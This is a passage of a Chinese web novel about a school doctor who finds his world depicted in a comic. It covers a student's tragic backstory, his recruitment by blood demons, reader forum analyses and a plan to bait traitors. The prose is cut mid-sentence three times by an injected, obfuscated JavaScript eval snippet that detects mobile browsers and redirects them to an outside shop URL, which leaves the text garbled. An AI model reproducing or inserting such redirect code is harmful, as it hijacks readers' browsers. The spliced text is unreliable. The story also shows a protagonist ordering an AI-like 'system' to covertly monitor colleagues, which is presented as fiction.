「爸爸,就这么个C级的垃圾,有什么好看的呀?」 华服男人低头,对小男孩笑了。 那是男孩从未见过的、温柔又宠溺的笑容。 「你说得对。」他伸手揉了揉那孩子的头发,「确实没什么好看的。」 他抱起小男孩,转身往外走,甚至没看男孩一眼。 旁边的佣人们齐齐弯腰,声音恭敬:「恭送陆大人。」 男孩站在原地,手脚冰凉。 他想追上去,想说“我妈妈病得很重,求你救救她”,想说“我不求别的,只要一点钱,一点药”。 但佣人们已经堵在了男人离开的路上。 管家走过来,递给男孩一张车票。 「拿着。时间地点上面写着,自己去车站,搭车去白塔。」管家语气平淡,像是在交代一件公事,「到了白塔,凭这张票可以办理入学手续。」 男孩接过车票,手指颤抖。 他抬起头,看着管家,眼睛发红:「可我的妈妈怎么办呢?她病得很重,需要钱治病……」 管家还没说话,旁边一个年轻佣人嗤笑出声。 「你还管她干嘛呀?」佣人说,语气轻佻,「连沸血者都不是的普通人,死了就死了。你以后进了白塔,成了沸血者,有的是好日子过,迟早会忘记她的。」 另一个佣人也附和:「就是。C级虽然不高,但好歹也是沸血者,总比当普通人强。你该庆幸大人还愿意给你张车票。」 愤怒像野火一样烧上来。小男孩猛地攥紧拳头,想扑上去,想撕烂那些带着笑的嘴。 他想冲上去打他们,想撕烂他们那张满不在乎的脸。 但他才十一岁。又瘦又小,长途跋涉已经耗尽了力气。 最后,他被“请”出了宅子。 大门在他身后关上,发出沉闷的响声。 男孩攥着那张车票,站在华丽的朱红大门外,看着门楣上烫金的匾额,站了很久。 然后他转身,往家的方向跑。 他要回去找妈妈。 他要告诉妈妈,没关系,没有钱也没关系,他可以去打工,可以去求医生,总有办法的。 他会救妈妈的。 一定会的。 回去比过来更快,他跑了一天一夜,没日没夜的狂奔,摔了不知道多少跤,终于在天黑透的时候,看到了村子的轮廓。 家里窗户黑着,没人点灯。 男孩冲进家门,喘着粗气,喊:「妈妈!我回来了!」 没有人回应。 妈妈可能睡了。她身体不好,病人睡得都早。 他摸索着找到油灯的位置,划亮火柴,准备点灯。 昏黄的光亮颤巍巍地撑开一小片黑暗。 手里的火柴掉在地上,灭了。 黑暗重新涌上来。 他看到了。 男孩站在原地,一动不动。 是幻觉吧。 一定是幻觉吧。 他心想。 怎么可能呢。 妈妈怎么会吊在房梁上呢。 21. 恨的由来(下) 在这之后的事情都不重要了。 男孩处理好了妈妈的后事。 村里人帮忙挖了坟,但男孩没让妈妈入土。他去镇上找了个陶匠,用身上最后一点钱,烧了个陶罐。 火化是村里老人帮忙做的。 曾经可以把他整个抱进怀里的大人,在死后,一个小小的罐子居然就能全部装进去。 但也挺好的。 这样他就可以随时把妈妈带在身边了,去哪儿都一起。 几个平时嘴碎的大婶偷偷抹眼泪,说这女人命苦,孩子也命苦。 他收拾好家里所剩无几的东西,准备去白塔。 妈妈私心给他取名陆派斯,但他觉得没必要把那个男人挂在名字里。 所以他现在叫派斯。 只是派斯。 他拿着那张车票,坐上了开往白塔的列车,车厢里都是和他年纪相仿的孩子。 派斯一个人坐在角落,把陶罐紧紧抱在怀里,眼睛看着窗外,脸上没什么表情。 看到这里,马冬梅手指顿在屏幕上,眼神瞬间犀利了起来。 派斯。 这名字,她之前看到过。 对了,猫哥的分析贴! 她立刻切出漫画页面,点进论坛,手指飞快地滑动,找到那个被她收藏的帖子。 帖子已经被顶到了论坛首页,回复数疯狂上涨。 马冬梅匆匆扫了一眼最新评论: 「卧槽!!!猫哥预言家!!!派斯真是内鬼???」 「看完了九十二话和九十三话……心情复杂。派斯好惨,但是……」 「‘陆大人’?漫画里就一个陆家吧?陆燃你小子,你们家怎么回事!」 「血魔那边居然是这样的???作者到底想表达什么啊……」 「只有我还在舔林老师的颜吗?最后那个特写,神性拉满……」 马冬梅眼皮一跳,赶紧退出论坛。 她可不想在看完之前被剧透。 得赶紧看完。 派斯入学后,和其他学生们格格不入。 白塔的学生大多出身沸血者家庭,即使不是大家族,至少父母中有一方是沸血者。他们从小接触这个圈子,了解规则,懂得如何运用能力,如何与同类相处。 派斯不一样。 他是C级,评级不高不低,在班级里毫不起眼。他不懂那些沸血者之间的礼仪,不懂家族之间的恩怨,不懂能力运用的技巧。课上老师讲的东西,他有一大半听不懂——那些关于源血控制、血蚀预防、家族传承的知识,对他来说像天书。 没人欺负他,但也没人主动靠近他。 派斯不在乎。 他已经是个了无牵挂之人了。 妈妈的骨灰罐放在床头,每天睡前他都会跟罐子说“妈妈晚安”。 他想报复,想恶心那个生父,想让那个男人后悔。 但他清楚自己什么都做不到,自己在那个男人眼里恐怕连蝼蚁都不如。 可他也不甘心就这么死去,就这么被动地接受了命运的安排,浑浑噩噩地活着。 第一个学期过得很快。 上课,训练,吃饭,睡觉。派斯很少说话,没有朋友,独来独往。除了训练课外,他怀里总抱着那个陶罐,睡觉时放在枕头边,上课时塞在课桌抽屉最深处。 学期末,到了放假的日子。 宿舍楼里也热闹起来,舍友们兴高采烈地讨论回家要带什么特产,过年家里会做什么好吃的,假期要去哪里玩。 派斯拉上床帘,把自己隔在小小的空间里,闷不作声。 他没有归处。 好在白塔允许在校生留宿。 申请流程很简单,填张表就行。所以他起码还有个地方住。 王敬就是在这个时候,意外地发现了这个留守学生。 虽然基本上不会有学生留校,但为了防止特殊情况,每个假期,校内总会安排一位老师轮流值班,负责管理寥寥无几的留校生。大部分老师都不乐意在节日期间与家人分开,所以这份吃力不讨好的工作,大多落在了还没成家、性格又温和的王敬身上。 王敬第一次在空荡荡的食堂里看见派斯时,愣了一下。 那孩子一个人坐在角落,面前是自助售货机里吐出的方便食物,他吃得很慢,眼神空洞,怀里还抱着个像是罐子的东西。 王敬走过去,在他对面坐下,笑着问:「同学,怎么没回家过年?」 派斯没抬头,也没回答。 他拿起食物,起身,默默走到更远的另一张桌子坐下。 王敬看着他的背影,推了推眼镜,没再追过去。 之后几次,王敬尝试过在各种地方“偶遇”派斯,想和他聊聊天,问问他为什么不回家,是不是有什么困难。 每次都被派斯躲了过去。 那孩子像只受过伤的幼兽,对任何接近都抱有强烈的警惕,总是低着头匆匆走开,或者干脆换条路。 直到除夕那天。 那天是过年。 派斯起了个大早——其实是一夜没睡,抱着陶罐坐在床上,看着窗外一点点亮起来。 妈妈还在时,每年的这个时候,都是派斯日子过得最好的时候。 妈妈会提前攒钱,买一小块肉,包饺子。馅料不多,但妈妈会想办法调得很香。饺子皮是她自己擀的,虽然厚薄不太均匀,但派斯觉得那是全世界最好吃的饺子。 派斯控制不住地想起以往的每一年。 想起妈妈的笑,想起妈妈抱他的温度,想起妈妈做的饺子的味道。 眼泪毫无预兆地掉下来。 空无一人的宿舍里,派斯可以哭得泣不成声。 所以当敲门声响起时,他没能收拾好情绪,像往常一样迅速躲起来。 门是王敬用宿管钥匙打开的。 王敬看到派斯眼睛红肿,脸上全是泪痕,怀里死死抱着那个陶罐,缩在床角,看起来狼狈又可怜。 他什么都没问,只是笑了笑:「派斯同学,过年好。」 派斯低着头,没吭声。 王敬走进来,手里提着一个保温盒。他走到派斯床边,把保温盒放在桌上,打开盖子。 是一碗饺子。 「过年一个人过也太可怜了。」 王敬说着,从保温盒下层拿出一个小碗和一双筷子。 「陪我一起吃吧,我也一个人。」 派斯没动。 王敬也不催,自己拉过椅子坐下,拿起另一双筷子,夹了一个饺子放进嘴里。 派斯抬起头,看着王敬。 然后他慢慢挪下床,走到桌边,拿起筷子,夹起一个饺子,塞进嘴里。 机械地咀嚼。 眼泪又掉下来了。 混着鼻涕,混着咸味。 他分不清饺子是什么馅的,只吃出来满嘴的咸。 眼泪和鼻涕不受控制地流下,他闷着头,一个接一个地把饺子往嘴里塞,吃得又快又急,像是这样就能把什么堵回去。 王敬没说话,不知道什么时候没再动过筷子,只是安静地看着派斯吃。 一碗饺子吃完,王敬收拾好餐具,才开口: 「每个白塔学生入学后,我们都会调查学生的家庭背景。所以我知道你是孤身一人,也知道你之前姓陆。」 派斯身体僵了一下。 「猜你现在心里肯定不好过。」王敬笑了笑,「所以才来陪你。过年嘛,总得有人一起过。」 主要是王敬在单方面说话。他聊起白塔的历史,讲了自己曾经在这里上学时的故事,还吐槽了食堂的饭菜这么多年还是那套菜单没变过。 派斯什么都没说。 只是安静地听着,偶尔点点头。 直到王敬问: 「你想拯救其他和你妈妈一样的普通人吗?」 派斯猛地抬起头。 王敬看着他,镜片后的眼睛很平静,甚至有些悲悯。 「你愿不愿意,和我出去看一些东西?」 王敬到底也是老师,派斯对他还是有信任在的。 于是派斯点了点头。 他们晚上才出发,王敬带着他悄悄离开白塔。 只是他没想到,王敬带他去的地方,会是血魔的领地。 王敬事先告诉了他这是哪,所以派斯下车时,心脏跳得很快。 他在教科书里学到过血魔的知识——残忍,嗜血,沸血者堕落后就有可能会变成这种怪物。 但当他真正踏进那片领地时,他愣住了。 出乎意料地,血魔领地里竟然生活着普通人,而且数量不少。 男人,女人,老人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954578|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子,这些普通人和血魔住在一起,看起来毫无间隙。他们穿着朴素的衣服,在街道上行走,在房屋前聊天,孩子们在空地上追逐玩耍,面容狰狞、脸上带有血蚀纹路的血魔蹲在旁边,居然是在帮忙修理坏掉的木马。 一个脸上爬满暗红色纹路的血魔,蹲在一个小女孩面前,小心翼翼地把一朵野花别在她头发上。小女孩咯咯笑着,伸手摸了摸血魔脸上狰狞的纹路,一点都不害怕。 还有血魔推着小推车,车上堆着新鲜的蔬菜。几个普通人围过来,用一些瓶瓶罐罐跟他交换——派斯仔细看,发现那些瓶子里装着暗红色的液体。 是血。 「很意外吧?」 王敬站在他身边,轻声说。 「学校教过你,血魔分为两种:一种是被血蚀完全吞噬、失去理智的疯狂血兽。另一种,是天生源血浓度过高、容易失控,但尚存理智的堕落沸血者——也就是我们通常所说的‘血魔’。」 派斯点头。这是基础知识。 「那你知道,为什么沸血者基本上不和普通人混居吗?」 派斯想了想:「因为能力危险,容易误伤?」 王敬摇头。 「那只是官方说法。」 「他们只是觉得自己和普通人不一样,看不起他们,不想跟他们混在一起罢了。」 王敬带着派斯在血魔领地待了两天。 恰逢过年,这里的氛围也很热闹。人们聚在一起吃饭,血魔和普通人同桌,孩子们跑来跑去讨要糖果。血魔们本身因为血蚀问题,大多长相残暴,即使笑容温和,也会因为脸上扭曲的纹路而显得恐怖。 但那些普通人似乎毫不介怀。 派斯看到,一个妈妈自然地用手帕替一个脸上生出血蚀纹路的孩子擦掉污渍。那孩子明显已经是个小血魔。 之前见过的那个别花的小女孩正追着一只鸡跑,笑声清脆。 她妈妈站在门口,笑着喊她小心别摔着。一个年轻的血魔路过,顺手把快要跑出院子的小鸡挡了回去。 「在这里,普通人可以通过献血来获得生活的一切物资。」 「血魔用他们的血来给自己进行定期的换血。用新鲜的、稳定的普通血液,换掉体内不稳定的沸血,让自己的意识和血液变得稳定可控。」 「换血?」 「对。」 王敬点头。 「血蚀的本质,是源血失控导致的自我侵蚀。而定期注入新鲜的普通血液,可以稀释源血浓度,降低失控风险。虽然不能根治,但可以大大延缓死亡的进程。」 「相应的,血魔也会用自己的能力进行劳动,各取所需。很难想象吧?沸血者竟然能和普通人一起和睦相处,甚至帮他们干活。」 在派斯十一年的普通人记忆里,他从未见过像这些血魔一样亲切的沸血者。 他见过的沸血者,包括他那个所谓的生父,都是高高在上的。他们自视甚高,理所当然地认为,低等的普通人理应由高等的沸血者统治。至于统治下的普通人过得如何,他们并不在意。 何等的讽刺! 在这里,在这个被白塔和沸血议会定义为“理应被清剿之地”的地方,血魔和普通人居然可以这样相处。 不在乎等级,不在乎阶级。你献出血,我付出劳动。各取所需,抱团取暖。 没有普通人会在这里因为“不是沸血者”而被歧视。 派想起妈妈浑浊的眼睛,变形的手指,吊在房梁上轻轻晃动的身体。 「如果是这样的话……」 「我希望世界由血魔来改写。」 第九十二话在这一页结束。 最后一个小格,是派斯仰头看着林砚,表情虔诚: 「不管林老师您能不能记住我,我都很感谢您。」 他的瞳孔里,映出林砚冰冷如神像的面容。 第九十二话,完。 马冬梅盯着手机屏幕,久久没有动作。 她脑子里很乱。 前面关于剧情、关于立场、关于是非对错的一切思考,都得先停一停了。 马冬梅感觉自己的立场有些摇摆了。 她把手机扔到一边,用枕头捂住脸。 完了。 对不起啊,白塔的大家。 她想。 我好像要叛变了! 22. 关于我在漫画里风评被害这件事^^…… 看完了全部更新内容的林砚,感觉作者可能对他存在一些恶意。 先不说在派斯回忆篇的结尾突然提到他,把他画得像是幕后黑手的事。 真正让林砚感到无语的,是九十三话的正篇内容。 人,到底要出于一种什么心态,才会把一个女孩普普通通预言做梦的内容,画得像是他在pua白晓,故意引导对方为自己付出啊? 这完全就是在误导读者! 漫画里的白晓,简直是林砚的跟屁虫,亦步亦趋地跟在林砚身后,眼神发痴。而林砚表情淡漠,偶尔回望的眼神也被画得意味不明。 在医务室里半个身体都陷入黑暗中的林砚,在走廊转角和白晓擦肩而过的林砚,在满天红霞下眺望远方的林砚。 这些画面单独看都没问题。 但每个画面的角落里,都有一只悄然出现的白晓,旁边还有她的内心独白—— 「好想和你再靠近一点点……」 「再多看看我吧!」 「如果是为了你,我什么都可以做到。」 所有画面都彻底变了味。 林砚觉得自己真是太冤枉了。 那是梦啊!! 那是白晓自己做的预知梦,不是真实发生的互动!! 他本人真的从来没有主动引导过什么,更没有说过任何暧昧不清的话,每次和白晓的接触都保持距离。 截至目前,除了在医务处给白晓单独倒了杯水、让她在沙发上休息了一会儿之外,林砚真的什么都没做。 结果在漫画里,他成了什么? 一个若即若离、处处留痕的神秘人。 狗作者笔下的白晓,简直像是被安装了林砚雷达。 无论林砚出现在漫画的哪个角落,她总能在不起眼的背景里找到位置:林砚给赵铁心做复查,她在走廊窗外静静地站着;林砚去资料室调档案,她站在另一排书架后面。 特别是血魔袭击白塔,她冲出来为林砚挡下攻击的时候!白晓张开手臂,表情很平静,甚至带着点释然,眼睛看着林砚的方向,嘴角还带着一丝微笑。 旁边配着内心独白:「这次……换我保护你。」 而林砚在那些画面里的反应呢? 大多是一个背影,要不就是表情冷淡的侧脸。 作者这么一画,配上白晓看他时那种暧昧的眼神,搞得好像他是什么利用女孩感情、故意诱导人家的渣男一样。 【检测到您的情绪波动较大。】 系统突然吭声。 【需要为您播放舒缓音乐吗?】 不了,谢谢。 【从数据分析角度看,作者确实在有意制造信息不对称。】 【他将白晓的内心活动完全展现,却极少刻画您的真实想法,这让读者很容易单方面代入白晓视角,进而对您的行为产生误读。】 这叫误读? 林砚快被整笑了。 这根本是栽赃。 【即使作者如此进行艺术加工与误导,读者群体中也会存在具备独立判断能力的个体。】 系统继续用那种平稳的语调说道。 【这种处理手法在叙事上很常见:先建立一种表面印象,再通过后续反转来制造戏剧张力。作者这样画大概率也是为了埋设悬念,后面肯定会给您证明清白的。】 林砚扯了扯嘴角。 他最好是。 等他再次他睁开眼,已经恢复了平时的冷静。 帮我打开论坛,我要看看读者们有没有什么新发现。 【指令确认。数据接入中……】 林砚轻车熟路地开始选择性翻看,跳过那些一看标题就知道在讨论什么的内容。 什么《理性讨论:林砚对白晓到底有没有那个意思?》啊。 什么《有人注意到林老师那个阴影里的镜头吗?我直接嗨老公》啊。 什么《没人觉得林砚和派斯那个对视很有张力吗?反派组我也可以!》啊。 他!全!都!不!在!意! 手指划动,终于找到一个标题看起来比较正经的讨论帖:理性讨论九十二、九十三话剧情走向及角色动机。 林砚点了进去。 贴主在顶楼写得很长,林砚快速扫过开头几行: 「看完最新两话,心情复杂。派斯的过去确实惨,血魔那边的社会模式也很有探讨空间。但比起这些,我更在意白塔内部的隐患。白老太看起来可能是引狼入室了,但白晓对林砚那么痴迷也不是不可以理解,毕竟预言能力者看到的东西和我们不一样……」 林砚瞬间退出了这个帖子。 连开头的推断都是错的,已经没有看下去的必要了。 林砚决定寄希望于那个之前分析中了不少内容的论坛大佬。作为从漫画开连载就跟进的专业剧情分析党,总不至于也和其他人一样轻易地就被作者蒙了眼吧? 他直接从论坛精华帖里面找人。 找到了! 猫哥发了新帖,标题很长:九十二、九十三话整合分析:九十二、九十三话深度解析:派斯线收束,林砚定位与血魔世界观补全。 效率真高啊! 林砚点开了帖子。 「刚看完,趁热打铁。先说结论:这两话的信息密度是开连载以来最高的,作者确实在认真整理剧情。 派斯内鬼的身份已基本坐实。回忆完整交代了他的转变过程,角色基本立住了,难得狗作者居然发挥好了感情戏。 再然后是王敬。现在他是潜伏在教师队伍中的血魔上线这一点已经很明确了,他在派斯最孤独脆弱的时期介入,取得他的信任,随后展示血魔领地的“和谐”面,完成理念灌输。手法老练,显然不是第一次做这种事。白塔内部渗透程度可能比我们想象的更深。 我们重点说说新角色林砚。 白晓真的只是在少女怀春吗?作者明显是在玩叙述性诡计。 白晓的预言画面被剪碎后重组,和林砚的日常镜头交叉剪辑,营造出林砚在引导白晓的错觉。但如果剥离作者添加的滤镜,会发现: 白晓看到的未来碎片里,林砚出现的频率远高于陆燃、赵铁心甚至她自己。这不太正常,除非林砚在未来的关键事件中处于绝对核心位置。 喜欢林砚的粉丝们有福了,后面剧情估计少不了他的戏份。 但是林砚这个角色,显然很不简单。 他绝对是漫画下一阶段的重要人物。塔主白珍亲自带他入职,唯一的预言家单恋他(虽然这么说可能会伤害到白晓的粉丝们,但是就漫画剧情而言,确实基本都是白晓在单方面倒贴他),血魔内鬼敬畏他(目前出场的血魔内鬼里,王敬和斯派都很尊敬他)。这配置,我不好说他的立场到底站的是哪边,感觉他想往哪偏都说得通。 王敬在礼堂外与林砚打招呼时,姿态放得很低,像是在面对上位者。但以林砚目前在白塔的身份来说,他们似乎不存在阶级关系。这有两种可能:要么林砚在血魔内部的地位比王敬高,要么王敬知道林砚的某些背景而心存敬畏。 而派斯在医务处感谢林砚的时候,眼神里的虔诚也不似作伪。 一个外来治疗系能力者,为何能同时得到塔主、预言者、血魔三方的特殊对待? 由此看来,林砚背地里估计还有未被揭露的隐藏身份或背景。他来白塔,大概率也抱有某种特殊目的,绝非单纯担任校医。 不过我事先说明,这些推理完全不保真! 关于派斯感谢林砚的情节,我个人认为需要谨慎看待。漫画只展示了感谢的画面,没有给出具体原因。结合林砚的校医身份,学生感谢医生是很正常的,所以这些可能只是烟雾弹。作者在故意引导我们,让我们觉得林砚可能与血魔有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962290|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵连。 新剧情里对于血魔阵营的描写也很有意思。 那些普通人和血魔相处得很自然,甚至有种温馨感。这和沸血界官方宣传的“血魔是堕落的怪物”完全不一样。结合那些画面,血魔可能也不是只是在造成破坏,而是想建立新的秩序。 所以目前沸血者和血魔的矛盾,更像是关于“世界该往哪里走”的路线之争,而不是简单的正邪对抗。 但注意,这并不意味着血魔是好人。别忘了我们的主视角始终在沸血者身上,主角团也是沸血者。所以沸血者阵营应该还是背景预设里的正派。 漫画目前只展示了血魔理念中美好的一面,但任何变革都伴随牺牲和黑暗面。血魔对普通人的真实态度(是真的平等还是另一种形式的圈养?)、他们所谓的新世界到底要怎么实现——这些还是未知数。 这点有待后续剧情展开。 不过,我最后还随想说一个可能推翻以上所有推论的极端假设(纯脑洞,仅供参考): 如果林砚真的是反派。 而且狗作者决定换主角了。 让林砚成为新的主角,或者至少是双主角之一,从血魔的视角重新讲述这个故事。 那么—— 白珍的信任可能是被蒙蔽。 白晓的痴迷可能是被利用。 血魔的敬畏可能是对同类的认同。 所有那些暧昧不清的镜头、意味深长的对话、若即若离的态度,就都有了另一种解释。 连载了两年多的漫画,中途换主角的例子虽然少,但不是没有。如果作者觉得陆燃的成长线已经挖掘得差不多了,想要引入更复杂的权力斗争和理念冲突,那么把林砚这个谜团重重的新角色扶正,让故事进入第二阶段,也不是不可能。 不过应该不至于吧? 那样风险太大了。 但……万一呢? 以上。 信息有限,纯属瞎猜,最后这个脑洞大家也图一乐就行。(躺平)」 帖子下面的回复已经攒了几百楼,刷新一下又跳了几条出来。 林砚慢慢往下翻。 「猫哥牛逼!这么快就出分析了!」 「猫哥每次分析都能让我起鸡皮疙瘩……换主角这个猜想太大胆了,但我竟然觉得有点带感?」 「换主角?别啊!我陆燃虽然脾气臭但还是亲儿子!」 「血魔那边确实有点东西,各取所需比沸血议会那帮老登天天扯皮好看多了……」 「只有我觉得白晓好可怜吗?预言里那么拼命保护林砚,现实里林砚对她好冷淡……」 「楼上,那是预言,不是现实!而且林砚对她挺正常的吧,老师对学生还要什么态度。」 「猫哥最后那个脑洞吓到我了……不过仔细想想,如果林砚真是隐藏boss,好像也挺带感的?美强惨反派什么的……」 「如果真换主角,我立马弃坑!陆燃再有问题也是男主!」 「我来歪楼:所以血魔阵营还收人吗?普通人能去献血换饭吃吗?社畜有点心动……」 「可是派斯妈妈的事是真的啊,陆家那些世家确实不当人。血魔那边至少给了普通人活下去的机会。」 「附议,感觉血魔那边虽然条件艰苦,但好像没那么卷,也没那么多家族破规矩。」 「楼上几个怎么回事?开始给血魔洗白了?别忘了血魔的力量来源是血蚀,那东西会侵蚀神智,最终变成怪物!那些普通人现在活得好,以后呢?血魔失控了第一个死的就是他们!」 「但沸血者不一样也有血蚀风险吗?赵铁心之前血蚀度都爆表了,要不是林砚,早就变怪物了。」 「所以这是比烂是吧?两边都有问题,就看读者站哪边了。」 林砚对此只想说。 所以我真的不能就只是一条单纯的好人吗? 23. 坏事还是让系统做吧 不过林砚还是意念给猫哥的帖子点了个赞。 作为只能纯靠作者给的内容来分析的漫画读者,能分析出这么多正确内容,已经可以说是非常厉害了。 至少,猫哥没真的相信那些暧昧镜头,看出了作者的叙述性诡计。 但局限于视野,猫哥的分析里还是有些遗漏的部分。 至于这部分内容,林砚暂时不打算和任何人分享,哪怕是白珍。 他发出指令:系统,帮我时刻监控王敬和派斯的一举一动。 【指令已接收。已启动对目标个体“王敬”、“派斯”的持续监测模块。相关动态将实时同步至您的监测仪表盘辅助界面。】 系统毫不迟疑地执行了指令。 全天候监控同事和学生行动,一点隐私都不留给人家,这显然不是正派阵营该干的事。 说我可能是反派阵营是吧? 那我真该搞点事情玩玩了! 处理完赵铁心的身体问题后,林砚被陆燃烦了好些日子。 这家伙对“祸血凭依”产生了远超寻常的好奇。 起初,林砚还敷衍两句,后来干脆直接不理。但陆燃显然继承了热血漫男主特有的死缠烂打。 就像前天,林砚刚从楼下下来,就看见陆燃抱着手臂靠在办公室门口,一副等了很久的样子。 “林老师,”少年直起身,眼睛亮得吓人,“我想跟你打一场。” 听到这话,林砚回复时都懒得思考:“不打。” “为什么?” “我是医务老师,不是格斗老师。” 陆燃往前跟了一步:“你压制赵铁心血蚀的时候,我感觉到了,你的能力不是只能治疗,对吧?让我试试吧,就打一场,行不?” 林砚撇开他把办公室门打开,走进去:“你想试什么?试试被老师按在地上抢救的感觉?” 陆燃追进来:“我是认真的!我想知道如果正面跟你交锋的话——” “陆燃。”林砚转过身,食指按住陆燃的喉咙把他往外推,“你现在应该去上课。如果我没记错,现在上的文化课,你上次随堂测试都没及格。” 陆燃的表情瞬间僵住。 “五十三分啊,”林砚重复了一遍,眼睛里还有配套的嫌弃,“满分一百五。苏清寒说张老师改卷的时候差点把笔掰断。” “那是意外!”陆燃立刻反驳,“那天我状态不好——” “那你现在状态好吗?”林砚打断他,“如果状态好,就去把落下的理论补上。战斗很重要,但搞清楚自己力量从哪里来、为什么这样运转、有什么风险——同样重要。赵铁心的事还没让你明白吗?” 最后这句话让陆燃沉默下来。 他抿着嘴唇,手不自觉地握紧又松开:“我只是想变强。” “我知道,但变强不止一种方式。”林砚的语气缓和了一些,“去吧,别让苏清寒等太久。她昨天还跟我发消息,说如果你今天再逃课,她就申请调你去基础理论重修班,跟一年级一起上课。” 陆燃猛地抬头:“她真这么说了?!” “你可以试试看。” 陆燃瞪着他看了几秒,最后悻悻地转身往外走。 走到门口时又停住,回头:“那……等我理论课成绩上去了,能找你吗?” 林砚头都没回:“到时候再说。” 烦不胜烦的林砚就是在这个时候和苏清寒搭上线的。那天晚上后,苏清寒主动找他加了联系方式,于是林砚直接给她发去消息,让她带着陆燃脑子里多读点书,少长些肌肉。 多好的现成理由啊。 既能名正言顺地和苏清寒建立联系,又能把这个精力过剩的问题儿童丢出去,让他没空再来烦自己。 把人抛出去的林砚很开心。 令箭在手的苏清寒明爽——林砚可是看见过的,男女主两人单独在图书馆相处,陆燃对着论述题抓耳挠腮,苏清寒看似表情平静,眼睛里却闪烁着愉悦的光。 可以暂时不用跟在陆燃后面收拾烂摊子,赵铁心更是暗爽。他偷偷给林砚发消息:白奶奶发话让他必须好好学文化课,还有清寒监管,这下跑都跑不掉了,还跟我说他现在做梦都在背书哈哈哈哈哈。这学期的年级排名里陆哥怕是要疯狂上分了。 所有人都很愉悦,只有两个人不开心。 陆燃的不开心来自他不喜欢读书,更不喜欢被苏清寒用看文盲一样的眼神盯着,填鸭那些在他看来“没用又啰嗦”的理论。接下来的日子,他的苦难可想而知。 而白晓不开心是因为林砚最近总是不在医务室,她找不到人。 为了避免白晓预言里的情景复现,林砚决定暂时绕着她走。 当然,躲白晓是顺便的。 干正事才是主要的。 林砚最近主要都跟塔主待在一起。 本来对茶水没什么偏好的林砚,这两天也被白珍带得开始对喝茶起了兴致。 白珍似乎很喜欢和他一起喝茶。 她说:老身活到这把年纪,见过的人多了,但你这样的,还是头一回。你性格太稳了,稳得不像你这个年纪该有的样子。看着你,我有时候会想,如果你早生个几十年,现在坐在这塔主位置上的,会不会就是你? 林砚干脆地否决了她的猜想:绝不可能,我对管理一群热血上头的青少年没兴趣。 当时的白珍不知是想到了什么,笑得很开朗,像是突然回忆到了过去。 但她说:你说得对,是挺累的。 与看似和善的外表不同,白珍是个彻头彻尾的激进派。 他们已经将钓鱼计划推进到了待实施的地步,在做最终决策时,白珍激进的一面展露无遗。 “林小子,老身已经是个活不了几年的老东西了。你也知道,老身年轻时也好斗过冲动过,燃了那么多次血,黄土都埋到脖子根了,没那么多时间可以浪费。” 自称半身入土的老人,眼神却锐利得像鹰。温和的伪装剥落后,终于露出属于“当世最强沸血者”的锋芒。 “我还想在我的有生之年看到沸血者大获全胜呢,在我的墓志铭上,我想看到的可不只有白塔塔主一个名号。” “既然已经知道他们迟早会为你而来,那我也等不了三个月这么久了。夜长梦多,迟则生变。刚好,我们现在就有一个现成的机会。” 血魔与白塔之间存在存在着大量的信息差,尤其在白塔已经封锁的当下。 白塔内外通讯切断, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967616|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人员只进不出。校卫队二十四小时巡逻,任何试图私自离塔的行为都会被当场制止,校卫队甚至为此组织了几次突击检查。 在这种情况下,血魔安插在白塔内部的眼线,直接成了瞎子。 血魔们目前不知道塔内发生了什么,不知道赵铁心已经康复,不知道林砚的能力到底有多特殊。 但很快,他们就会知道了。 白珍看得很准。 血魔最渴望的是什么? 权力?财富? 在活下去面前,那些都算不上什么。 血蚀是不可逆的,这是沸血世界的铁律,是刻在每个沸血者基因里的恐惧。一旦血蚀印记显现,就意味着倒计时开始,区别只在于时间长短。 现在,这个铁律被林砚打破了。 生命本就悬在脖颈上的血魔们不会放过任何能活下去的机会,为了能活下去,他们不惜一切代价。 林砚将已知的内鬼王敬与派斯的信息和白珍进行了互通,林砚之前没有拦住赵铁心离开医务室,这为了钓内鬼所做的准备,想必已经让他们从赵铁心的康复中发现了林砚的特殊性。 而白珍要做的,就是放出这则消息,吸引血魔尽早来争夺林砚。 她看向林砚,眼里的算计明明白白,但林砚并不讨厌。 “林小子,你知道,你的‘祸血凭依’,对那些血魔来说,意味着什么吗?” 林砚回答得很冷漠:“意味着活命,我是他们的救命稻草,对吧。” “没错!你就是他们垂涎的活菩萨!能让他们从地狱爬回人间的活菩萨!” 她近乎武断地笃定:“王敬一定会想尽办法把消息传出去,而血魔一旦确认消息为真,他们会发疯一样地扑过来,绝不会等。” 只是说到王敬时,白珍还是有些惋惜。王敬是她看着长大的学生,白珍也曾心软给过他机会,但现实从不以人的意志为转移。 早就让系统盯梢的林砚自然也有所准备。 